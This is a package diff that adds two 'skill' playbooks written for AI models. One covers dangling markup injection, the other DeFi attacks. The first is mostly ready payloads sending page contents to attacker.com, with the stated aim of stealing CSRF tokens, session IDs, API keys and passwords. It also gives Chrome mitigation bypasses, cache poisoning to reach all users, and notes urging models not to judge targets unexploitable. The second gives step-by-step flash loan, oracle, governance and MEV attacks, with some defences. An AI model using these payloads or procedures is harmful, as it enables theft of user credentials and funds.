ineedcodes 1.6.0 → 1.7.0

package/skills/dangling-markup-injection/SKILL.md

@@ -0,0 +1,321 @@
+---
+name: dangling-markup-injection
+description: >-
+  Dangling markup injection playbook. Use when HTML injection is possible but
+  JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF
+  blocks script tags) — exfiltrate CSRF tokens, session data, and page content
+  by injecting unclosed HTML tags that capture subsequent page content.gated: true
+---
+
+# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
+
+> **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
+
+## 0. RELATED ROUTING
+
+- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
+- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
+- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
+- [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
+- [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack
+
+---
+
+## 1. WHEN TO USE DANGLING MARKUP
+
+You need dangling markup when ALL of these are true:
+
+1. You have an HTML injection point (reflected or stored)
+2. JavaScript execution is blocked:
+   - CSP blocks inline scripts and event handlers
+   - Sanitizer strips `<script>`, `onerror`, `onload`, etc.
+   - WAF blocks known XSS patterns
+3. The page contains sensitive data AFTER your injection point:
+   - CSRF tokens
+   - Pre-filled form values (email, username, API keys)
+   - Session identifiers in hidden fields
+   - Sensitive user content
+
+**Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
+
+---
+
+## 2. CORE TECHNIQUE
+
+Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
+
+```html
+Page before injection:
+  <div>Hello USER_INPUT</div>
+  <form>
+    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
+    <input type="text" name="email" value="user@target.com">
+  </form>
+
+Injected payload:
+  <img src="https://attacker.com/collect?
+
+Resulting HTML:
+  <div>Hello <img src="https://attacker.com/collect?</div>
+  <form>
+    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
+    <input type="text" name="email" value="user@target.com">
+  </form>
+  ...rest of page until next matching quote (")...
+```
+
+The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
+
+---
+
+## 3. EXFILTRATION VECTORS
+
+### 3.1 Image Tag (Most Common)
+
+```html
+<!-- Double-quote context -->
+<img src="https://attacker.com/collect?
+
+<!-- Single-quote context -->
+<img src='https://attacker.com/collect?
+
+<!-- Backtick context (IE only, legacy) -->
+<img src=`https://attacker.com/collect?
+```
+
+The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
+
+**Blocked by**: `img-src` CSP directive
+
+### 3.2 Form Action Hijack
+
+```html
+<form action="https://attacker.com/collect">
+<button>Click to continue</button>
+<!--
+```
+
+If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
+
+**Blocked by**: `form-action` CSP directive
+
+**Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
+
+### 3.3 Base Tag Hijack
+
+```html
+<base href="https://attacker.com/">
+```
+
+All subsequent relative URLs on the page resolve to attacker's server:
+- `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
+- `<a href="/profile">` → links to `https://attacker.com/profile`
+- `<form action="/submit">` → submits to `https://attacker.com/submit`
+
+**Blocked by**: `base-uri` CSP directive
+
+### 3.4 Meta Refresh Redirect
+
+```html
+<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
+```
+
+Redirects the entire page to attacker's server with consumed page content in the URL.
+
+**Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
+
+### 3.5 Link/Stylesheet Exfiltration
+
+```html
+<link rel="stylesheet" href="https://attacker.com/collect?
+```
+
+Browser requests the URL as a CSS resource, leaking consumed content.
+
+**Blocked by**: `style-src` CSP directive
+
+### 3.6 Table Background (Legacy)
+
+```html
+<table background="https://attacker.com/collect?
+```
+
+Works in older browsers that support the `background` attribute on table elements.
+
+**Blocked by**: `img-src` CSP directive
+
+### 3.7 Video/Audio Poster
+
+```html
+<video poster="https://attacker.com/collect?
+<audio src="https://attacker.com/collect?
+```
+
+**Blocked by**: `media-src` / `img-src` CSP directives
+
+---
+
+## 4. WHAT CAN BE STOLEN
+
+| Target Data | How It Appears in Page | Steal Technique |
+|---|---|---|
+| CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form |
+| Pre-filled email | `<input value="user@example.com">` | Dangling tag before the input |
+| API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block |
+| Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form |
+| Auto-filled passwords | Browser auto-fills password field | `<form action=attacker>` with matching input names |
+| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
+| Internal URLs/paths | Links, script sources, API endpoints | `<base>` tag hijack captures all relative URLs |
+
+---
+
+## 5. BROWSER-SPECIFIC BEHAVIOR
+
+| Browser | Behavior |
+|---|---|
+| **Chrome/Chromium** | Blocks dangling markup in `<img>` `src` containing `<` or newlines (since Chrome 60). Still allows `<form action>`, `<base>`, `<link>`. |
+| **Firefox** | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
+| **Safari** | Similar to Chrome's restrictions. May handle some edge cases differently. |
+| **Edge (Chromium)** | Same as Chrome behavior. |
+
+### Chrome Mitigation Detail
+
+Chrome blocks navigation/resource load when the URL attribute value contains:
+- `<` character (indicates HTML tag consumption)
+- Newline characters (`\n`, `\r`)
+
+**Bypass**: Use `<form action>` instead of `<img src>` — Chrome's block only targets specific tags.
+
+---
+
+## 6. ADVANCED TECHNIQUES
+
+### 6.1 Selective Consumption
+
+Choose quote type strategically: if page uses `"` for attributes, inject with `'` (and vice versa) to precisely control where consumption stops.
+
+### 6.2 Textarea + Form Combo
+
+`<form action="https://attacker.com/collect"><textarea name="data">` — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
+
+### 6.3 Comment / Style Dangling
+
+- `<!-- ` without closing `-->` consumes all content (no exfil, but hides page content)
+- `<style>` unclosed treats page as CSS; combine with `@import url("https://attacker.com/?` for exfil
+
+### 6.4 Window.name via iframe
+
+`<iframe src="https://target.com/page" name="` — name attribute consumes content, and `window.name` persists across origins after navigation.
+
+---
+
+## 7. LIMITATIONS
+
+| Limitation | Detail |
+|---|---|
+| Same-origin content only | Dangling markup only captures content from the same HTTP response |
+| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
+| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
+| Chrome's dangling markup mitigation | Blocks `<img src=` with `<` or newlines in URL |
+| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
+| Content encoding | URL-unsafe characters in captured content may be mangled |
+
+---
+
+## 8. COMBINATION ATTACKS
+
+### 8.1 Dangling Markup + Open Redirect
+
+```
+1. Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
+2. Open redirect on target.com makes the request "same-origin" for some CSP checks
+3. Redirect sends captured data to attacker
+```
+
+### 8.2 Dangling Markup + Cache Poisoning
+
+```
+1. Find reflected HTML injection point
+2. Inject dangling markup payload
+3. If response is cached, ALL users see the dangling markup
+4. Tokens/data from all victims exfiltrated
+```
+
+This turns a reflected injection into a stored/persistent attack.
+
+### 8.3 Dangling Markup + CSRF
+
+```
+1. Use dangling markup to steal CSRF token from page
+2. Use stolen token to perform CSRF attack
+3. Allows CSRF even when tokens are properly implemented
+```
+
+### 8.4 Dangling Markup + Clickjacking
+
+```
+1. Inject <form action="https://attacker.com/collect"><textarea name="data">
+2. Frame the page (if frame-ancestors allows)
+3. Trick user into clicking "Submit" via clickjacking overlay
+4. Form submits all captured page content to attacker
+```
+
+---
+
+## 9. DANGLING MARKUP DECISION TREE
+
+```
+HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)?
+│
+├── Identify injection context
+│   ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect?
+│   ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect?
+│   └── Inside script block? → Close script first: </script><img src="...
+│
+├── What sensitive data exists AFTER injection point?
+│   ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
+│   ├── User PII (email, name) → data theft
+│   ├── API keys / secrets → account compromise
+│   ├── No sensitive data after injection → dangling markup not useful here
+│   └── Check different pages — injection may be on a page with sensitive data
+│
+├── Choose exfiltration vector based on CSP
+│   ├── No CSP / lax CSP → <img src="...  (simplest)
+│   ├── img-src restricted?
+│   │   ├── form-action unrestricted? → <form action="attacker"><textarea name=d>
+│   │   ├── base-uri unrestricted? → <base href="attacker">
+│   │   └── style-src unrestricted? → <link rel=stylesheet href="...
+│   ├── Strict CSP on all directives?
+│   │   ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
+│   │   ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
+│   │   └── Window.name via iframe? → <iframe name="...
+│   └── Nothing works? → dangling markup blocked, try other approaches
+│
+├── Handle Chrome's dangling markup mitigation
+│   ├── Target uses Chrome? → Avoid <img src= with < or newlines
+│   ├── Use <form action=> instead (not blocked)
+│   ├── Use <base href=> (not blocked)
+│   └── Test in Firefox as fallback (more permissive)
+│
+├── Choose quote type for maximum capture
+│   ├── Target data uses double quotes? → Inject with single quote: <img src='...
+│   ├── Target data uses single quotes? → Inject with double quote: <img src="...
+│   └── Mixed quotes? → Test both, see which captures more useful data
+│
+└── Amplification
+    ├── Response cached? → Poison cache → steal from multiple victims
+    ├── Stored injection? → Every page view exfiltrates
+    └── Reflected only? → Deliver via phishing link
+```
+
+---
+
+## 10. TRICK NOTES — WHAT AI MODELS MISS
+
+1. **Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.** Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
+2. **Chrome's mitigation is tag-specific, not universal**: `<img src=` is mitigated, but `<form action=`, `<base href=`, `<meta http-equiv=refresh>` are NOT. Always try alternative vectors.
+3. **Quote type selection is critical**: If the page uses `"` for attributes, inject with `'` (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
+4. **Injection point placement matters enormously**: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
+5. **`<textarea>` is the most underrated vector**: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
+6. **Window.name persists across origins**: If you can inject an iframe, the `name` attribute technique is powerful because `window.name` survives cross-origin navigation — a rare cross-origin data channel.
+7. **DNS prefetch exfiltration works even under strict CSP**: `<link rel=dns-prefetch href="//stolen-data.attacker.com">` triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.

package/skills/defi-attack-patterns/SKILL.md

@@ -0,0 +1,355 @@
+---
+name: defi-attack-patterns
+description: >-
+  DeFi attack pattern playbook. Use when analyzing flash loan attacks, price oracle manipulation, MEV sandwich attacks, governance exploits, bridge vulnerabilities, and token standard edge cases in decentralized finance protocols.gated: true
+---
+
+# SKILL: DeFi Attack Patterns — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert DeFi exploitation techniques. Covers flash loan mechanics, oracle manipulation (spot vs TWAP), MEV extraction (sandwich, JIT, liquidation), precision loss attacks, governance exploits, bridge vulnerabilities, and token standard pitfalls. Base models often miss the single-transaction atomicity constraint of flash loans and the distinction between spot price and TWAP manipulation.
+
+## 0. RELATED ROUTING
+
+- [smart-contract-vulnerabilities](../smart-contract-vulnerabilities/SKILL.md) for underlying Solidity vulnerability patterns (reentrancy, integer overflow, delegatecall)
+- [deserialization-insecure](../deserialization-insecure/SKILL.md) when targeting off-chain bridge relayer or indexer infrastructure
+
+---
+
+## 1. FLASH LOAN ATTACKS
+
+### 1.1 Mechanism
+
+Flash loans provide uncollateralized borrowing within a single transaction. The entire borrow → use → repay cycle must complete atomically; if repayment fails, the transaction reverts as if nothing happened.
+
+| Provider | Max Amount | Fee |
+|---|---|---|
+| Aave V3 | Pool liquidity per asset | 0.05% (can be 0 for approved borrowers) |
+| dYdX | Pool liquidity | 0 (uses internal balance manipulation) |
+| Uniswap V3 | Pool liquidity per pair | 0.3% (swap fee tier) |
+| Balancer | Pool liquidity | Protocol-configurable |
+
+### 1.2 Price Oracle Manipulation
+
+```
+1. Flash borrow 100,000 WETH
+2. Swap 100,000 WETH → TOKEN on AMM_A
+   → TOKEN spot price on AMM_A skyrockets
+3. On Lending_Protocol (reads AMM_A spot price as oracle):
+   → Deposit small TOKEN collateral (valued at inflated price)
+   → Borrow large amount of WETH against it
+4. Swap TOKEN back → WETH on AMM_A (restore price)
+5. Repay flash loan (100,000 WETH + fee)
+6. Keep borrowed WETH from Lending_Protocol minus collateral cost
+```
+
+**Key insight**: protocols using AMM spot reserves (`getReserves()`) as price oracles are vulnerable. Must use TWAP or external oracle (Chainlink).
+
+### 1.3 Liquidity Pool Drain via Reentrancy
+
+Flash borrow → deposit into pool → trigger reentrancy during callback → withdraw more than deposited → repay loan.
+
+Exploits the combination of flash loan capital with reentrancy in pool accounting logic.
+
+### 1.4 Governance Flash Borrow
+
+```
+1. Flash borrow governance tokens
+2. Create/vote on malicious proposal (if no snapshot or timelock)
+3. Proposal passes instantly
+4. Execute proposal (drain treasury, change admin, etc.)
+5. Return governance tokens
+```
+
+Defense: snapshot-based voting (Compound Governor Bravo), timelocks, minimum proposal period.
+
+---
+
+## 2. PRICE ORACLE MANIPULATION
+
+### 2.1 Spot Price vs TWAP
+
+| Oracle Type | Manipulation Cost | Time Window |
+|---|---|---|
+| Spot price (`getReserves()`) | Single large swap (flash loanable) | Same transaction |
+| TWAP (Time-Weighted Average) | Sustained multi-block manipulation | Multiple blocks (expensive) |
+| Chainlink aggregator | Compromise ≥ majority of oracle nodes | Practically infeasible |
+
+### 2.2 AMM Manipulation Flow
+
+```
+Normal state: Pool has 1000 ETH + 1,000,000 USDC → price = 1000 USDC/ETH
+
+Attack:
+├── Swap 9000 ETH into pool
+│   Pool now: 10000 ETH + 100,000 USDC (constant product)
+│   Spot price: 10 USDC/ETH (crashed 100x)
+├── Dependent contract reads this price
+│   → Liquidates positions at wrong price
+│   → Or allows cheap borrowing against ETH collateral
+├── Swap back: buy ETH with USDC
+│   Price restores to ~1000 USDC/ETH
+└── Net profit = value extracted from dependent contract - swap slippage - fees
+```
+
+### 2.3 Chainlink Oracle Staleness
+
+```solidity
+(, int price, , uint updatedAt, ) = priceFeed.latestRoundData();
+// Missing checks:
+// 1. price > 0
+// 2. updatedAt != 0
+// 3. block.timestamp - updatedAt < HEARTBEAT
+// 4. answeredInRound >= roundId
+```
+
+If oracle is stale (network congestion, L2 sequencer down), price can be hours old → arbitrage against stale price.
+
+**L2 Sequencer Risk**: If Arbitrum/Optimism sequencer is down, Chainlink prices freeze. When it comes back, prices jump → mass liquidations at wrong prices.
+
+---
+
+## 3. MEV (MAXIMAL EXTRACTABLE VALUE)
+
+### 3.1 Sandwich Attack
+
+```
+Mempool observation: victim submits swap TOKEN_A → TOKEN_B with slippage 1%
+
+Front-run:  Buy TOKEN_B (increase price)
+Victim tx:  Swap executes at worse price (within slippage tolerance)
+Back-run:   Sell TOKEN_B (profit from price impact)
+
+Profit = victim's price impact - gas costs × 2
+```
+
+### 3.2 JIT (Just-In-Time) Liquidity
+
+```
+1. Observe large pending swap in mempool
+2. Provide concentrated liquidity in the exact price range (Uniswap V3 tick)
+3. Victim's swap executes → JIT LP earns majority of fees
+4. Remove liquidity immediately after swap
+5. Profit = fee earned - gas - impermanent loss (minimal for single block)
+```
+
+### 3.3 Liquidation MEV
+
+```
+1. Monitor lending protocols for positions approaching liquidation threshold
+2. When price oracle updates → position becomes liquidatable
+3. Front-run other liquidators → execute liquidation
+4. Receive liquidation bonus (typically 5-15% of collateral)
+5. Sell collateral for profit
+```
+
+### 3.4 MEV Protection Mechanisms
+
+| Mechanism | How It Works |
+|---|---|
+| Flashbots Protect | Sends tx to private mempool; only block builder sees it |
+| MEV Blocker | RPC endpoint that routes through MEV-aware relayers |
+| Cow Protocol (batch auction) | Batch matching eliminates ordering advantage |
+| Encrypted mempools | Threshold encryption; decrypt only at block build time |
+| MEV-Share | User captures portion of MEV extracted from their tx |
+
+---
+
+## 4. PRECISION LOSS EXPLOITATION
+
+### 4.1 Rounding Errors in Token Calculations
+
+Solidity has no floating point. Integer division truncates:
+
+```
+shares = depositAmount * totalShares / totalAssets
+```
+
+If `totalAssets` is very large relative to `depositAmount * totalShares`, result rounds to 0 → depositor gets no shares but pool keeps the deposit.
+
+### 4.2 First Depositor / Vault Inflation Attack
+
+```
+1. Attacker deposits 1 wei → receives 1 share
+2. Attacker donates 1,000,000 tokens directly to vault (not via deposit)
+3. Vault state: 1,000,001 tokens, 1 share
+4. Victim deposits 999,999 tokens:
+   shares = 999,999 * 1 / 1,000,001 = 0 (integer truncation)
+5. Victim gets 0 shares; attacker owns 100% of vault (now 2,000,000 tokens)
+6. Attacker withdraws all
+```
+
+**Defenses:**
+- Mint dead shares on first deposit (OpenZeppelin ERC4626 offset)
+- Require minimum initial deposit
+- Internal accounting with virtual offset
+
+### 4.3 Dust Attack via Precision Truncation
+
+Repeated small operations where each truncation loses 1 wei. Accumulate across thousands of operations → material loss.
+
+---
+
+## 5. GOVERNANCE ATTACKS
+
+### 5.1 Flash Loan Governance
+
+Borrow governance tokens → vote → return. Only works if protocol doesn't snapshot balances before voting.
+
+### 5.2 Timelock Bypass
+
+| Vector | Method |
+|---|---|
+| Timelock set to 0 | Admin can execute proposals instantly |
+| `emergencyExecute` function | Bypasses timelock for "emergencies" |
+| Guardian/multisig override | Single point of failure |
+| Proposal cancellation by attacker | Front-run with cancel if threshold met |
+
+### 5.3 Quorum Manipulation
+
+```
+Protocol requires 10% quorum (10M tokens out of 100M supply)
+├── Flash borrow 10M governance tokens
+├── Create proposal: set admin = attacker
+├── Vote with borrowed tokens → meets quorum
+├── If no timelock: execute immediately
+└── Return tokens
+```
+
+---
+
+## 6. BRIDGE EXPLOITS
+
+### 6.1 Common Bridge Attack Vectors
+
+| Vector | Example |
+|---|---|
+| Signature verification bypass | Ronin Bridge ($624M) — compromised 5/9 validators |
+| Message replay | Replay deposit proof on multiple chains |
+| Fake deposit proof | Submit proof for non-existent L1 deposit |
+| Validator collusion | Compromised majority of bridge validators |
+| Smart contract bug | Wormhole ($320M) — uninitialized guardian set |
+| Upgradeable proxy exploit | Attacker gains upgrade authority → swap implementation |
+
+### 6.2 Cross-Chain Message Verification
+
+```
+Secure pattern:
+├── Source chain: emit event with (destination, amount, nonce, chainId)
+├── Relayer: submit proof (Merkle proof of event inclusion)
+├── Destination chain: verify proof against known source block header
+│   ├── Check nonce not replayed
+│   ├── Check chainId matches
+│   ├── Verify Merkle proof against trusted root
+│   └── Mint/release tokens
+
+Vulnerable pattern:
+├── Relayer: submit (destination, amount) signed by N-of-M validators
+└── If M is small or keys are compromised → forge signatures
+```
+
+---
+
+## 7. TOKEN STANDARD EDGE CASES
+
+### 7.1 ERC-20 Approval Front-Running
+
+```
+1. Alice approves Bob for 100 tokens
+2. Alice wants to change approval to 50 tokens
+3. Bob sees the approval change tx in mempool
+4. Bob front-runs: transferFrom(Alice, Bob, 100) — uses old approval
+5. Alice's approval change executes: approval = 50
+6. Bob calls transferFrom(Alice, Bob, 50) — uses new approval
+7. Bob extracted 150 tokens instead of 50
+```
+
+Defense: `approve(0)` first, then `approve(newAmount)`. Or use `increaseAllowance/decreaseAllowance`.
+
+### 7.2 ERC-777 Reentrancy via Hooks
+
+ERC-777 tokens call `tokensReceived()` hook on the recipient before completing the transfer → classic reentrancy vector.
+
+```
+transfer(attacker, amount)
+├── _beforeTokenTransfer hook
+├── Balance update
+├── tokensReceived() callback to recipient  ← reentrancy window
+│   └── attacker re-enters: transfer, swap, deposit, etc.
+└── _afterTokenTransfer hook
+```
+
+### 7.3 Fee-on-Transfer Tokens
+
+Tokens that deduct a fee on each transfer. Protocol receives less than `amount`:
+
+```solidity
+// Vulnerable: assumes received == amount
+token.transferFrom(msg.sender, address(this), amount);
+deposits[msg.sender] += amount; // overcredits by fee amount
+
+// Fixed: measure actual balance change
+uint before = token.balanceOf(address(this));
+token.transferFrom(msg.sender, address(this), amount);
+uint received = token.balanceOf(address(this)) - before;
+deposits[msg.sender] += received;
+```
+
+### 7.4 Rebasing Tokens
+
+Tokens that automatically adjust balances (e.g., Aave aTokens, stETH). Protocols holding rebasing tokens may have accounting mismatches if they cache balances.
+
+---
+
+## 8. NOTABLE DEFI EXPLOITS REFERENCE
+
+| Exploit | Date | Loss | Primary Vector |
+|---|---|---|---|
+| Ronin Bridge | Mar 2022 | $624M | Compromised validator keys |
+| Wormhole | Feb 2022 | $320M | Signature verification bug |
+| Beanstalk | Apr 2022 | $182M | Flash loan governance |
+| Mango Markets | Oct 2022 | $114M | Oracle manipulation |
+| Euler Finance | Mar 2023 | $197M | Donation attack + liquidation logic |
+| Curve (reentrancy) | Jul 2023 | $73M | Vyper compiler reentrancy bug |
+
+---
+
+## 9. DECISION TREE
+
+```
+Analyzing a DeFi protocol?
+├── Does it use price oracles?
+│   ├── Spot price (AMM reserves)? → Flash loan manipulation (Section 1.2)
+│   │   └── Can oracle be manipulated in single tx? → HIGH RISK
+│   ├── TWAP? → Multi-block manipulation needed → MEDIUM RISK
+│   ├── Chainlink? → Check staleness handling (Section 2.3)
+│   │   ├── Heartbeat check present? → OK
+│   │   └── L2? → Check sequencer uptime oracle
+│   └── Multiple oracles with fallback? → Evaluate each
+├── Does it accept external tokens?
+│   ├── Yes → Check fee-on-transfer handling (Section 7.3)
+│   ├── ERC-777 tokens accepted? → Reentrancy via hooks (Section 7.2)
+│   └── Rebasing tokens? → Accounting mismatch (Section 7.4)
+├── Does it have governance?
+│   ├── Yes → Flash loan governance possible? (Section 5.1)
+│   │   ├── Snapshot-based voting? → Safer
+│   │   └── Live balance voting? → Flash borrow attack
+│   ├── Timelock present? → Check for bypass (Section 5.2)
+│   └── Quorum threshold vs flash-loanable supply? (Section 5.3)
+├── Is it a vault / yield aggregator?
+│   ├── Yes → First depositor attack (Section 4.2)
+│   │   └── Virtual offset or dead shares? → Mitigated
+│   └── Precision loss in share calculation? (Section 4.1)
+├── Is it a bridge?
+│   ├── Yes → Load bridge vectors (Section 6)
+│   │   ├── Validator set size and key management?
+│   │   ├── Replay protection (nonce + chainId)?
+│   │   └── Upgradeable? → Who holds upgrade key?
+│   └── No → Continue
+├── User-facing swap functionality?
+│   ├── Yes → MEV exposure (Section 3)
+│   │   ├── Slippage protection enforced?
+│   │   └── Private mempool integration?
+│   └── No → Continue
+└── Load [smart-contract-vulnerabilities](../smart-contract-vulnerabilities/SKILL.md)
+    for underlying Solidity-level bugs
+```